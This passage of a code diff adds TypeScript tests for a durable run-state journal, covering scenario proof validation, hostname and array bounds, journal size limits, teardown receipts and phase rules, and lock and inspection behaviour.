+          present(state.proofs.fence[group][role]).ordinal = reset ? null : 2;
+        });
+      }
+    }
+    await rejectChange((state) => {
+      present(state.proofs.fence.sweeps[role]).first.observedAt--;
+    });
+    for (const reset of [false, true]) {
+      await rejectChange((state) => {
+        const entry = present(state.proofs.fence.sweeps[role]);
+        if (reset) entry.second = null;
+        else present(entry.second).observedAt--;
+      });
+      await rejectChange((state) => {
+        present(state.proofs.fence.sweeps[role]).intervalMs = reset ? null : 0;
+      });
+    }
+    for (const member of ['mutationEpoch', 'ordinal'] as const)
+      await rejectChange((state) => {
+        present(state.proofs.fence.probes[role])[member]--;
+      });
+    expect(journal.snapshot().scenario?.proofs.fence).toEqual(
+      baseline.proofs.fence,
+    );
+  });
+
+  it('completes a null transition after and ordinal on an established fence entry', async () => {
+    const { journal } = await scenarioJournal();
+    const state = maximalScenario();
+    for (const group of ['drain', 'reopen'] as const)
+      for (const role of ['a', 'b'] as const) {
+        const entry = present(state.proofs.fence[group][role]);
+        entry.after = null;
+        entry.ordinal = null;
+      }
+    await journal.recordScenario(state);
+    const complete = maximalScenario();
+    await journal.recordScenario(complete);
+    expect(journal.snapshot().scenario?.proofs.fence).toEqual(
+      complete.proofs.fence,
+    );
+  });
+
+  it('completes a null second sweep and interval with a zero interval', async () => {
+    const { journal } = await scenarioJournal();
+    const state = maximalScenario();
+    for (const role of ['a', 'b'] as const) {
+      const entry = present(state.proofs.fence.sweeps[role]);
+      entry.second = null;
+      entry.intervalMs = null;
+    }
+    await journal.recordScenario(state);
+    const complete = maximalScenario();
+    for (const role of ['a', 'b'] as const)
+      present(complete.proofs.fence.sweeps[role]).intervalMs = 0;
+    await journal.recordScenario(complete);
+    expect(journal.snapshot().scenario?.proofs.fence).toEqual(
+      complete.proofs.fence,
+    );
+  });
+
+  it('fills a null fence entry with its partial transition and first sweep', async () => {
+    const { journal } = await scenarioJournal();
+    const state = maximalScenario();
+    state.proofs.fence.drain = { a: null, b: null };
+    state.proofs.fence.sweeps = { a: null, b: null };
+    await journal.recordScenario(state);
+    const partial = maximalScenario();
+    for (const role of ['a', 'b'] as const) {
+      const transition = present(partial.proofs.fence.drain[role]);
+      transition.after = null;
+      transition.ordinal = null;
+      const sweeps = present(partial.proofs.fence.sweeps[role]);
+      sweeps.second = null;
+      sweeps.intervalMs = null;
+    }
+    await journal.recordScenario(partial);
+    expect(journal.snapshot().scenario?.proofs.fence).toEqual(
+      partial.proofs.fence,
+    );
+  });
+
+  it('validates terminal force and freezes its proof after publication', async () => {
+    const { journal } = await scenarioJournal();
+    const state = maximalScenario();
+    state.proofs.terminalForce = { a: null };
+    await journal.recordScenario(state);
+    const proof = {
+      databaseId: 'database-a',
+      scriptName: 'script-a',
+      ordinal: 3,
+      attempts: { provider: 0, maintenance: 0, application: 0 },
+    };
+    state.proofs.terminalForce.a = proof;
+    await journal.recordScenario(state);
+    expect(journal.snapshot().scenario?.proofs.terminalForce.a).toEqual(proof);
+    for (const replacement of [
+      null,
+      { ...proof, databaseId: 'foreign' },
+      { ...proof, attempts: { ...proof.attempts, provider: 1 } },
+    ]) {
+      state.proofs.terminalForce.a = replacement;
+      await refuses(journal, state);
+    }
+    const fresh = await scenarioJournal();
+    for (const malformed of [
+      { ...proof, ordinal: -1 },
+      { ...proof, ordinal: 4 },
+      { ...proof, attempts: { provider: -1, maintenance: 0, application: 0 } },
+    ]) {
+      state.proofs.terminalForce.a = malformed;
+      await refuses(fresh.journal, state);
+    }
+  });
+
+  it('bounds inventory route hostnames by count and DNS length', async () => {
+    const { journal } = await scenarioJournal();
+    const state = maximalScenario();
+    const inventory = present(state.proofs.inventories.before);
+    inventory.routeHostnames = ['a.example.test', 'b.example.test'];
+    await journal.recordScenario(state);
+    inventory.routeHostnames.push('c.example.test');
+    await refuses(journal, state);
+    const fresh = await scenarioJournal();
+    inventory.routeHostnames = [
+      [63, 63, 63, 62].map((length) => 'a'.repeat(length)).join('.'),
+    ];
+    expect(inventory.routeHostnames[0]).toHaveLength(254);
+    await refuses(fresh.journal, state);
+  });
+
+  it.each([
+    ['fleet-a.example.test', true],
+    ['a.b', true],
+    // The journal admits a numeric last label; the configuration module's own
+    // `hostname` refuses that host, and this set is the journal's, not its.
+    ['route.9', true],
+    [`${'a'.repeat(63)}.test`, true],
+    ['A.example.test', false],
+    ['-a.example.test', false],
+    ['a-.example.test', false],
+    [`${'a'.repeat(64)}.test`, false],
+    ['single', false],
+    ['1.2', false],
+    ['a..b', false],
+    ['a.example.test.', false],
+  ])('admits the route hostname %s in the journal: %s', async (hostname, admitted) => {
+    const { journal } = await scenarioJournal();
+    const state = scenarioWith((value) => {
+      present(value.proofs.inventories.before).routeHostnames = [hostname];
+    });
+    if (!admitted) {
+      await refuses(journal, state);
+      return;
+    }
+    await journal.recordScenario(state);
+    expect(
+      journal.snapshot().scenario?.proofs.inventories.before?.routeHostnames,
+    ).toEqual([hostname]);
+  });
+
+  it('publishes a maximal scenario inside the journal byte bound', async () => {
+    const { f, journal } = await scenarioJournal();
+    await journal.recordScenario(maximalScenario('audit-page'));
+    const migrationBytes = Buffer.byteLength(
+      await readFile(join(f.runDirectory, 'journal.json'), 'utf8'),
+    );
+    await journal.recordScenario(maximalScenario());
+    const serialized = await readFile(
+      join(f.runDirectory, 'journal.json'),
+      'utf8',
+    );
+    expect(Buffer.byteLength(serialized)).toBeGreaterThan(migrationBytes);
+    expect(Buffer.byteLength(serialized)).toBeLessThan(
+      DIRECT_RUN_MAX_JOURNAL_BYTES - 118 * 1024,
+    );
+    expect(journal.snapshot().scenario?.proofs.cleanup?.evidence.scan).toEqual({
+      discover: { evidenceSha256: DIGEST, evidenceCount: MAX_COUNT },
+      verify: { evidenceSha256: DIGEST, evidenceCount: MAX_COUNT },
+    });
+  });
+
+  it('pins the scenario failure vocabularies its producers are typed against', () => {
+    // The declaration states each as a tuple and `requireFact` types its
+    // `detail` from one of them, so the runtime arrays and the declared
+    // tuples are pinned together here.
+    expect([...DIRECT_SCENARIO_FAILURES]).toEqual([
+      'observation-mismatch',
+      'outcome-unknown',
+      'proof-unavailable',
+      'budget-exhausted',
+      'invocation-budget-exhausted',
+      'reference-refused',
+      'invalid-input',
+      'provider-unavailable',
+      'journal-failed',
+      'blocked',
+    ]);
+    expect([...DIRECT_SCENARIO_FAILURE_DETAILS]).toEqual([
+      'platform-page',
+      'transport-failure',
+      'non-contract-answer',
+      'delivery-window-expired',
+      'phase-ceiling',
+      'run-reserve',
+      'below-scenario-floor',
+    ]);
+    for (const vocabulary of [
+      DIRECT_SCENARIO_FAILURES,
+      DIRECT_SCENARIO_FAILURE_DETAILS,
+    ])
+      expect(Object.isFrozen(vocabulary)).toBe(true);
+    const detail: (typeof DIRECT_SCENARIO_FAILURE_DETAILS)[number] =
+      'phase-ceiling';
+    const code: (typeof DIRECT_SCENARIO_FAILURES)[number] = 'budget-exhausted';
+    expect(() => requireFact(false, code, detail)).toThrowError(code);
+    expect(() =>
+      // @ts-expect-error A producer spells a member of the vocabulary, and a
+      // widened parameter type makes this suppression itself an error.
+      requireFact(false, code, 'not-a-recorded-detail'),
+    ).toThrowError(code);
+  });
+
+  it('publishes the journal fields in the order the decoder establishes', async () => {
+    const { f, journal } = await scenarioJournal();
+    await journal.recordScenario(maximalScenario());
+    const serialized = await readFile(
+      join(f.runDirectory, 'journal.json'),
+      'utf8',
+    );
+    expect(Object.keys(JSON.parse(serialized))).toEqual([
+      'version',
+      'createdAt',
+      'binding',
+      'invocationCount',
+      'lastInvocation',
+      'bootstrap',
+      'scenario',
+    ]);
+  });
+
+  it.each([
+    [DIRECT_RUN_MAX_JOURNAL_BYTES, true],
+    [DIRECT_RUN_MAX_JOURNAL_BYTES + 1, false],
+  ])('reads a stored journal of %d bytes before parsing it (admitted=%s)', async (size, admitted) => {
+    const { f, journal } = await scenarioJournal();
+    await journal.recordScenario(maximalScenario());
+    const path = join(f.runDirectory, 'journal.json');
+    const serialized = await readFile(path, 'utf8');
+    await closed(journal);
+    await writeFile(path, serialized.padEnd(size, ' '));
+    const opening = openDirectRunState({ ...f.input, mode: 'resume' });
+    if (!admitted) {
+      await expect(opening).rejects.toMatchObject({ code: 'invalid-state' });
+      return;
+    }
+    const resumed = await opening;
+    expect(resumed.snapshot().scenario).not.toBeUndefined();
+    await closed(resumed);
+  });
+
+  it('refuses ordinals the durable invocation count cannot account for', async () => {
+    const { journal } = await scenarioJournal();
+    for (const mutate of [
+      (state: MutableScenario) => {
+        state.startedOrdinal = 4;
+      },
+      (state: MutableScenario) => {
+        state.callCount = 4;
+      },
+      (state: MutableScenario) => {
+        state.callCount = 2;
+      },
+      (state: MutableScenario) => {
+        state.reconciledOrdinal = 4;
+      },
+      (state: MutableScenario) => {
+        state.phaseCalls['provision-a'] = 2;
+      },
+      (state: MutableScenario) => {
+        present(state.lastCall).ordinal = 4;
+      },
+      (state: MutableScenario) => {
+        present(state.lastCall).attempts = null;
+      },
+      (state: MutableScenario) => {
+        present(state.proofs.exports.a).sourceInvocationOrdinal = 4;
+      },
+      (state: MutableScenario) => {
+        first(state.proofs.health).ordinal = 4;
+      },
+      (state: MutableScenario) => {
+        present(state.proofs.restart).replayOrdinal = 1;
+      },
+    ])
+      await refuses(journal, scenarioWith(mutate));
+    await journal.recordScenario(maximalScenario());
+  });
+
+  it('refuses a restart proof whose resumed process is the process that recorded the loss', async () => {
+    const { journal } = await scenarioJournal();
+    await refuses(
+      journal,
+      scenarioWith((state) => {
+        present(state.proofs.restart).resumedProcess = { ...PROCESS };
+      }),
+    );
+    await journal.recordScenario(maximalScenario());
+  });
+
+  it('refuses duplicate operation slots and duplicate record roles', async () => {
+    const { journal } = await scenarioJournal();
+    await refuses(
+      journal,
+      scenarioWith((state) => {
+        state.operations = [first(state.operations), first(state.operations)];
+      }),
+    );
+    await refuses(
+      journal,
+      scenarioWith((state) => {
+        state.records = [first(state.records), first(state.records)];
+      }),
+    );
+  });
+
+  it('refuses a later phase whose implied proofs are absent', async () => {
+    const { journal } = await scenarioJournal();
+    await refuses(
+      journal,
+      scenarioWith((state) => {
+        state.phase = 'provision-b';
+        state.proofs.initial.a = null;
+      }),
+    );
+    await refuses(
+      journal,
+      scenarioWith((state) => {
+        state.phase = 'provision-b';
+        state.proofs.objects.a = null;
+      }),
+    );
+    await refuses(
+      journal,
+      scenarioWith((state) => {
+        state.phase = 'provision-b';
+        state.proofs.health = state.proofs.health.filter(
+          (entry) => entry.role !== 'a' || entry.release !== '1',
+        );
+      }),
+    );
+  });
+
+  it('refuses a settlement-effect list and an operation list past the schema bound', async () => {
+    const { journal } = await scenarioJournal();
+    for (const mutate of [
+      (state: MutableScenario) => {
+        state.proofs.effects.push(first(state.proofs.effects));
+      },
+      (state: MutableScenario) => {
+        state.operations.push(first(state.operations));
+      },
+    ])
+      await refuses(journal, scenarioWith(mutate));
+  });
+
+  it('carries every operation slot the reference control read can return', () => {
+    const slots: readonly DirectOperationSlot[] =
+      DIRECT_SCENARIO_OPERATION_SLOTS;
+    const unlisted: Exclude<
+      DirectOperationSlot,
+      (typeof DIRECT_SCENARIO_OPERATION_SLOTS)[number]
+    > extends never
+      ? true
+      : false = true;
+    expect({ count: slots.length, unlisted }).toEqual({
+      count: 12,
+      unlisted: true,
+    });
+  });
+
+  it('refuses one entry past each cap the shared array maxima declare', async () => {
+    const { journal } = await scenarioJournal();
+    const caps = new Map<string, number>();
+    for (const [key, value] of Object.entries(DIRECT_SCENARIO_ARRAY_MAXIMA))
+      if (typeof value === 'number') caps.set(key, value);
+      else
+        for (const [nested, bound] of Object.entries(value))
+          caps.set(`inventory.${nested}`, bound);
+    const bounded = (state: MutableScenario): Record<string, unknown[]> => {
+      const inventory = present(state.proofs.inventories.before);
+      return {
+        health: state.proofs.health,
+        steps: state.proofs.steps,
+        exportVerifications: state.proofs.exportVerifications,
+        auditFindings: present(state.proofs.audits.before).findings,
+        footprintVersionIds: present(
+          present(state.proofs.force).worker.currentVersionIds,
+        ),
+        deploymentVersions: present(state.proofs.initial.a).currentDeployment
+          .versions,
+        inventoryCategories: present(present(state.proofs.fence.sweeps.a).first)
+          .categories,
+        'inventory.databaseIds': inventory.databaseIds,
+        'inventory.namespaceIds': inventory.namespaceIds,
+        'inventory.scriptNames': inventory.scriptNames,
+        'inventory.routeHostnames': inventory.routeHostnames,
+        'inventory.bucketNames': inventory.bucketNames,
+        'inventory.findings': inventory.findings,
+      };
+    };
+    expect(Object.keys(bounded(maximalScenario())).sort()).toEqual(
+      [...caps.keys()].sort(),
+    );
+    for (const [key, cap] of caps) {
+      const state = maximalScenario();
+      const array = bounded(state)[key];
+      if (!array) throw new Error(`unbounded scenario array ${key}`);
+      expect({ key, length: array.length }).toEqual({ key, length: cap });
+      array.push(first(array));
+      await refuses(journal, state);
+    }
+  });
+
+  it('refuses a scenario version the decoder does not implement', async () => {
+    const { f, journal } = await scenarioJournal();
+    await expect(
+      journal.recordScenario(
+        scenarioWith((state) => {
+          (state as unknown as { version: number }).version = 2;
+        }),
+      ),
+    ).rejects.toMatchObject({ code: 'unsupported-scenario-version' });
+    await journal.recordScenario(maximalScenario());
+    await closed(journal);
+    const path = join(f.runDirectory, 'journal.json');
+    const stored = JSON.parse(await readFile(path, 'utf8'));
+    stored.scenario.version = 2;
+    await writeFile(path, JSON.stringify(stored));
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'unsupported-scenario-version' });
+  });
+
+  it('refuses to load the journal module when a declared maximum is absent', async () => {
+    const source = new URL(
+      '../scripts/direct-credentialed-run-state.mjs',
+      import.meta.url,
+    );
+    const text = await readFile(source, 'utf8');
+    const declarations: [string, string][] = [];
+    for (const [key, value] of Object.entries(DIRECT_SCENARIO_ARRAY_MAXIMA))
+      if (typeof value === 'number')
+        declarations.push([key, `  ${key}: ${value},\n`]);
+      else
+        for (const [nested, bound] of Object.entries(value))
+          declarations.push([
+            `inventory.${nested}`,
+            `    ${nested}: ${bound},\n`,
+          ]);
+    const load = async (code: string) => {
+      const child = spawn(
+        process.execPath,
+        ['--input-type=module', '-e', code],
+        {
+          cwd: fileURLToPath(new URL('..', import.meta.url)),
+          stdio: ['ignore', 'ignore', 'pipe'],
+          env: { PATH: process.env.PATH ?? '' },
+        },
+      );
+      let stderr = '';
+      child.stderr.on('data', (chunk) => {
+        stderr += String(chunk);
+      });
+      const status = await new Promise<number | null>((resolve, reject) => {
+        child.once('error', reject);
+        child.once('close', (value) => resolve(value));
+      });
+      return { status, refused: stderr.includes('invalid-state') };
+    };
+    const absolute = (value: string) =>
+      value.replace(
+        /from '\.\/([^']+)'/gu,
+        (_match, name: string) =>
+          `from ${JSON.stringify(new URL(name, source).href)}`,
+      );
+    expect(await load(absolute(text))).toEqual({ status: 0, refused: false });
+    for (const [key, declaration] of declarations)
+      expect({ key, occurrences: text.split(declaration).length - 1 }).toEqual({
+        key,
+        occurrences: 1,
+      });
+    // One child per declared maximum, four at a time: the children are
+    // independent and IO-bound, and the bound keeps the enumeration from
+    // taking a core for every entry the table grows.
+    const pending = [...declarations];
+    const refusals: Record<
+      string,
+      { status: number | null; refused: boolean }
+    > = {};
+    await Promise.all(
+      Array.from({ length: 4 }, async () => {
+        for (let entry = pending.shift(); entry; entry = pending.shift())
+          refusals[entry[0]] = await load(absolute(text.replace(entry[1], '')));
+      }),
+    );
+    expect(refusals).toEqual(
+      Object.fromEntries(
+        declarations.map(([key]) => [key, { status: 1, refused: true }]),
+      ),
+    );
+  }, 60_000);
+
+  it.each([
+    'platform-page',
+    'transport-failure',
+    'non-contract-answer',
+    'delivery-window-expired',
+  ] as const)('persists invocation failure detail %s', async (detail) => {
+    const { journal } = await scenarioJournal();
+    await journal.recordScenario(
+      scenarioWith((state) => {
+        present(state.failure).detail = detail;
+      }),
+    );
+    expect(journal.snapshot().scenario?.failure?.detail).toBe(detail);
+  });
+
+  it('accepts the optional refusal detail and refuses one outside the vocabulary', async () => {
+    const unknown = await scenarioJournal();
+    await refuses(
+      unknown.journal,
+      scenarioWith((state) => {
+        (present(state.failure) as { detail?: string }).detail = 'not-a-detail';
+      }),
+    );
+    await unknown.journal.recordScenario(maximalScenario());
+    expect(unknown.journal.snapshot().scenario?.failure).toEqual({
+      code: 'observation-mismatch',
+      ordinal: MAX_COUNT,
+      detail: 'below-scenario-floor',
+    });
+    const omitted = await scenarioJournal();
+    await omitted.journal.recordScenario(
+      scenarioWith((state) => {
+        delete present(state.failure).detail;
+      }),
+    );
+    expect(omitted.journal.snapshot().scenario?.failure).toEqual({
+      code: 'observation-mismatch',
+      ordinal: MAX_COUNT,
+    });
+    const carried = await scenarioJournal();
+    await carried.journal.recordScenario(
+      scenarioWith((state) => {
+        present(state.failure).detail = 'run-reserve';
+      }),
+    );
+    expect(carried.journal.snapshot().scenario?.failure).toEqual({
+      code: 'observation-mismatch',
+      ordinal: MAX_COUNT,
+      detail: 'run-reserve',
+    });
+  });
+
+  it('refuses a phase regression, a phase skip and a weakened proof after publication', async () => {
+    const { journal } = await scenarioJournal();
+    await journal.recordScenario(maximalScenario());
+    await refuses(
+      journal,
+      scenarioWith((state) => {
+        state.phase = 'inventory-before';
+      }),
+    );
+    await journal.recordScenario(
+      scenarioWith((state) => {
+        state.phase = 'provision-b';
+      }),
+    );
+    await refuses(journal, maximalScenario());
+    for (const mutate of [
+      (state: MutableScenario) => {
+        state.startedOrdinal = 1;
+      },
+      (state: MutableScenario) => {
+        state.attempts.provider = 0;
+      },
+      (state: MutableScenario) => {
+        state.sdkRequests = 3;
+      },
+      (state: MutableScenario) => {
+        state.phaseCalls['provision-a'] = 2;
+        state.phaseCalls['provision-b'] = 1;
+      },
+      (state: MutableScenario) => {
+        state.proofs.steps.pop();
+      },
+      (state: MutableScenario) => {
+        first(state.proofs.steps).beforeCursor = 5;
+      },
+      (state: MutableScenario) => {
+        state.proofs.objects.a = { size: 30, sha256: DIGEST };
+      },
+      (state: MutableScenario) => {
+        present(state.proofs.exports.a).sourceInvocationOrdinal = 0;
+      },
+      (state: MutableScenario) => {
+        present(state.proofs.restart).resumedProcess = { ...RESUMED, pid: 3 };
+      },
+      (state: MutableScenario) => {
+        present(state.failure).code = 'proof-unavailable';
+      },
+    ])
+      await refuses(
+        journal,
+        scenarioWith((state) => {
+          state.phase = 'provision-b';
+          mutate(state);
+        }),
+      );
+  });
+});
+
+const settlement = (ordinal = 1) => ({ ordinal, settledByReread: false });
+
+function filledReceipts(state: MutableTeardown) {
+  state.receipts.ingress = settlement();
+  state.receipts.worker = {
+    scriptName: 'reference',
+    secretNames: [],
+    ...settlement(),
+  };
+  state.receipts.fleet = { uuid: 'fleet-uuid', ...settlement() };
+  state.receipts.quota = { uuid: 'quota-uuid', ...settlement() };
+}
+
+describeLinux('durable teardown state', () => {
+  it('publishes teardown after scenario and leaves the earlier bytes unchanged', async () => {
+    const { f, journal } = await completeScenarioJournal();
+    const path = join(f.runDirectory, 'journal.json');
+    const before = await readFile(path, 'utf8');
+    expect(before).not.toContain('teardown');
+    await journal.recordTeardown(teardownState());
+    const after = JSON.parse(await readFile(path, 'utf8'));
+    expect(Object.keys(after)).toEqual([
+      'version',
+      'createdAt',
+      'binding',
+      'invocationCount',
+      'lastInvocation',
+      'bootstrap',
+      'scenario',
+      'teardown',
+    ]);
+    delete after.teardown;
+    expect(`${JSON.stringify(after)}\n`).toBe(before);
+  });
+
+  it('refuses a teardown key on a version 1 snapshot', async () => {
+    const { f, journal } = await completeScenarioJournal();
+    await journal.recordTeardown(teardownState());
+    await closed(journal);
+    const path = join(f.runDirectory, 'journal.json');
+    const stored = JSON.parse(await readFile(path, 'utf8'));
+    await writeFile(
+      path,
+      JSON.stringify({
+        version: 1,
+        binding: stored.binding,
+        invocationCount: stored.invocationCount,
+        lastInvocation: stored.lastInvocation,
+        teardown: stored.teardown,
+      }),
+    );
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+  });
+
+  it('refuses every malformed teardown shape', async () => {
+    const { journal } = await completeScenarioJournal();
+    const cases: ((state: MutableTeardown) => unknown)[] = [
+      (state) => {
+        (state as unknown as Record<string, unknown>).extra = 1;
+      },
+      (state) => {
+        state.phase = 'worker';
+        state.receipts.worker = {
+          scriptName: 'reference',
+          secretNames: [],
+          ...settlement(),
+        };
+      },
+      (state) => {
+        state.pending = { kind: 'disable-reference-ingress' };
+        state.receipts.ingress = settlement();
+      },
+      (state) => {
+        state.pending = { kind: 'disable-reference-ingress', key: 'key' };
+      },
+      (state) => {
+        state.pending = { kind: 'delete-export-object' };
+      },
+      (state) => {
+        filledReceipts(state);
+        state.phase = 'export-objects';
+        state.pending = { kind: 'delete-export-object', key: 'first' };
+        state.receipts.exportObjects = [{ key: 'first', ...settlement() }];
+      },
+      (state) => {
+        filledReceipts(state);
+        state.phase = 'export-objects';
+        state.receipts.exportObjects = ['one', 'two', 'three'].map((key) => ({
+          key,
+          ...settlement(),
+        }));
+      },
+      (state) => {
+        filledReceipts(state);
+        state.phase = 'export-objects';
+        state.receipts.exportObjects = [
+          { key: 'same', ...settlement() },
+          { key: 'same', ...settlement() },
+        ];
+      },
+      (state) => {
+        filledReceipts(state);
+        state.phase = 'worker';
+        state.receipts.worker = {
+          scriptName: `${MAX_NAME}x`,
+          secretNames: [],
+          ...settlement(),
+        };
+      },
+      (state) => {
+        state.residual = residualObservation();
+      },
+      (state) => {
+        state.phase = 'refused';
+      },
+      (state) => {
+        state.phase = 'refused';
+        state.failure = 'scenario-incomplete';
+        state.receipts.ingress = settlement();
+      },
+      (state) => {
+        state.phase = 'refused';
+        state.failure = 'scenario-incomplete';
+        state.pending = { kind: 'disable-reference-ingress' };
+      },
+    ];
+    for (const [index, mutate] of cases.entries())
+      await expect(
+        journal.recordTeardown(teardownWith(mutate)),
+        `teardown case ${index}`,
+      ).rejects.toMatchObject({ code: 'invalid-state' });
+  });
+
+  it('publishes a receipt while its mutation is pending and refuses every regression', async () => {
+    const { journal } = await completeScenarioJournal();
+    await journal.recordTeardown(
+      teardownWith((state) => {
+        state.pending = { kind: 'disable-reference-ingress' };
+      }),
+    );
+    expect(journal.snapshot().teardown?.pending).toEqual({
+      kind: 'disable-reference-ingress',
+    });
+    await journal.recordTeardown(
+      teardownWith((state) => {
+        state.receipts.ingress = settlement(4);
+        state.providerRequests = 4;
+      }),
+    );
+    await journal.recordTeardown(
+      teardownWith((state) => {
+        state.phase = 'worker';
+        state.receipts.ingress = settlement(4);
+        state.receipts.worker = {
+          scriptName: 'reference',
+          secretNames: [],
+          ...settlement(6),
+        };
+        state.providerRequests = 6;
+      }),
+    );
+    const carried = (state: MutableTeardown) => {
+      state.phase = 'worker';
+      state.receipts.ingress = settlement(4);
+      state.receipts.worker = {
+        scriptName: 'reference',
+        secretNames: [],
+        ...settlement(6),
+      };
+      state.providerRequests = 6;
+    };
+    for (const mutate of [
+      (state: MutableTeardown) => {
+        carried(state);
+        state.phase = 'ingress';
+      },
+      (state: MutableTeardown) => {
+        carried(state);
+        state.phase = 'quota';
+        state.receipts.fleet = { uuid: 'fleet-uuid', ...settlement(8) };
+      },
+      (state: MutableTeardown) => {
+        carried(state);
+        state.receipts.ingress = settlement(5);
+      },
+      (state: MutableTeardown) => {
+        carried(state);
+        state.providerRequests = 5;
+      },
+      (state: MutableTeardown) => {
+        carried(state);
+        state.receipts.worker = null;
+      },
+    ])
+      await expect(
+        journal.recordTeardown(teardownWith(mutate)),
+      ).rejects.toMatchObject({ code: 'invalid-state' });
+  });
+
+  it('keeps a refused teardown rewritable in place', async () => {
+    const { journal } = await completeScenarioJournal();
+    const refused = (attempts: number) =>
+      teardownWith((state) => {
+        state.phase = 'refused';
+        state.failure = 'scenario-incomplete';
+        state.residual = {
+          ...residualObservation(),
+          settleAttempts: attempts,
+        };
+        state.providerRequests = attempts;
+      });
+    await journal.recordTeardown(refused(1));
+    await journal.recordTeardown(refused(2));
+    expect(journal.snapshot().teardown?.residual?.settleAttempts).toBe(2);
+    await expect(
+      journal.recordTeardown(
+        teardownWith((state) => {
+          state.phase = 'worker';
+          state.providerRequests = 2;
+        }),
+      ),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+  });
+
+  it.each([
+    ['scenario-incomplete', true],
+    ['outcome-unknown', true],
+    ['identity-mismatch', false],
+    ['forbidden', false],
+    ['budget-exhausted', false],
+  ] as const)('re-enters deletion from a %s refusal (recoverable=%s)', async (failure, recoverable) => {
+    const { journal } = await completeScenarioJournal();
+    await journal.recordTeardown(
+      teardownWith((state) => {
+        state.phase = 'refused';
+        state.failure = failure;
+        state.residual = residualObservation();
+      }),
+    );
+    const reentry = journal.recordTeardown(
+      teardownWith((state) => {
+        state.pending = { kind: 'disable-reference-ingress' };
+      }),
+    );
+    if (!recoverable) {
+      await expect(reentry).rejects.toMatchObject({ code: 'invalid-state' });
+      expect(journal.snapshot().teardown?.phase).toBe('refused');
+      return;
+    }
+    await reentry;
+    expect(journal.snapshot().teardown).toMatchObject({
+      phase: 'ingress',
+      residual: null,
+    });
+  });
+
+  it('accepts the worst-case teardown inside the byte bound and refuses an undecodable one without poisoning', async () => {
+    const { f, journal } = await completeScenarioJournal();
+    const path = join(f.runDirectory, 'journal.json');
+    await journal.assertTeardownCapacity(maximalTeardown());
+    expect(journal.snapshot().teardown).toBeUndefined();
+    const stored = await readFile(path, 'utf8');
+    await expect(
+      journal.assertTeardownCapacity(
+        teardownWith((state) => {
+          Object.assign(state, maximalTeardown());
+          const worker = present(state.receipts.worker);
+          worker.scriptName = `${MAX_NAME}x`;
+        }),
+      ),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    // Unpoisoned: the refused check leaves no part of its record behind, in
+    // the snapshot or in the stored journal, and a worst-case teardown still
+    // records afterwards.
+    expect(journal.snapshot().teardown).toBeUndefined();
+    expect(await readFile(path, 'utf8')).toBe(stored);
+    await journal.recordTeardown(maximalTeardown());
+    const serialized = await readFile(path, 'utf8');
+    expect(
+      DIRECT_RUN_MAX_JOURNAL_BYTES - Buffer.byteLength(serialized),
+    ).toBeGreaterThan(90 * 1024);
+  });
+
+  it('refuses scenario and invocation writes once a teardown is pending or receipted', async () => {
+    const { f, journal } = await completeScenarioJournal();
+    await journal.recordTeardown(
+      teardownWith((state) => {
+        state.pending = { kind: 'disable-reference-ingress' };
+      }),
+    );
+    for (const call of [
+      () => journal.recordScenario(completeScenario()),
+      () => journal.reserveInvocation(f.request()),
+      () => journal.bindBootstrapContext(bootstrapContext(f)),
+      () => journal.beginBootstrapMutation('create-fleet-d1'),
+      () =>
+        journal.recordBootstrapObservation({
+          kind: 'active',
+          deploymentId: 'deployment',
+          versionId: 'version',
+        }),
+    ])
+      await expect(call()).rejects.toMatchObject({ code: 'outcome-unknown' });
+    await journal.recordTeardown(
+      teardownWith((state) => {
+        state.receipts.ingress = settlement();
+      }),
+    );
+    await expect(
+      journal.recordScenario(completeScenario()),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await expect(journal.reserveInvocation(f.request())).rejects.toMatchObject({
+      code: 'invalid-state',
+    });
+  });
+
+  it('resumes a run whose teardown mutation is still pending', async () => {
+    const { f, journal } = await completeScenarioJournal();
+    await journal.recordTeardown(
+      teardownWith((state) => {
+        state.pending = { kind: 'disable-reference-ingress' };
+      }),
+    );
+    await closed(journal);
+    const resumed = await opened({ ...f.input, mode: 'resume' });
+    expect(resumed.snapshot().teardown?.pending).toEqual({
+      kind: 'disable-reference-ingress',
+    });
+  });
+});
+
+describeLinux('CLI metadata and inspection', () => {
+  it('refuses an invalid mode before creating a base directory or lock', async () => {
+    const f = await fixture();
+    await expect(
+      openDirectRunState({
+        ...f.input,
+        mode: 'inspect',
+      } as unknown as Parameters<typeof openDirectRunState>[0]),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await expect(stat(f.base)).rejects.toMatchObject({ code: 'ENOENT' });
+    await expect(stat(f.lockPath)).rejects.toMatchObject({ code: 'ENOENT' });
+  });
+
+  it('closes the losing lock and base descriptors and permits a third opener', async () => {
+    const f = await fixture();
+    const holder = await opened({ ...f.input, mode: 'run' });
+    const before = readdirSync('/proc/self/fd').length;
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'lock-unavailable' });
+    expect(readdirSync('/proc/self/fd').length).toBe(before);
+    await closed(holder);
+    await closed(await opened({ ...f.input, mode: 'resume' }));
+  });
+
+  it.each([
+    'invocation',
+    'bootstrap',
+  ] as const)('inspects pending %s without mutation and holds the lock until close', async (pending) => {
+    const f = await fixture();
+    const journal = await opened({ ...f.input, mode: 'run' });
+    if (pending === 'invocation') await journal.reserveInvocation(f.request());
+    else {
+      await journal.bindBootstrapContext(bootstrapContext(f));
+      await journal.beginBootstrapMutation('create-fleet-d1');
+    }
+    await expect(journal.recordResume()).rejects.toMatchObject({
+      code: 'outcome-unknown',
+    });
+    const snapshot = journal.snapshot();
+    await closed(journal);
+    const path = join(f.runDirectory, 'journal.json');
+    const before = await readFile(path);
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'outcome-unknown' });
+    const inspection = await inspectDirectRunState({
+      ...f.input,
+      mode: 'inspect',
+    });
+    try {
+      expect(inspection.snapshot).toEqual(snapshot);
+      expect(Object.keys(inspection)).toEqual([
+        'directory',
+        'snapshot',
+        'close',
+      ]);
+      expect(inspection.directory).toBe(f.runDirectory);
+      await expect(
+        inspectDirectRunState({ ...f.input, mode: 'inspect' }),
+      ).rejects.toMatchObject({ code: 'lock-unavailable' });
+      expect(await readFile(path)).toEqual(before);
+    } finally {
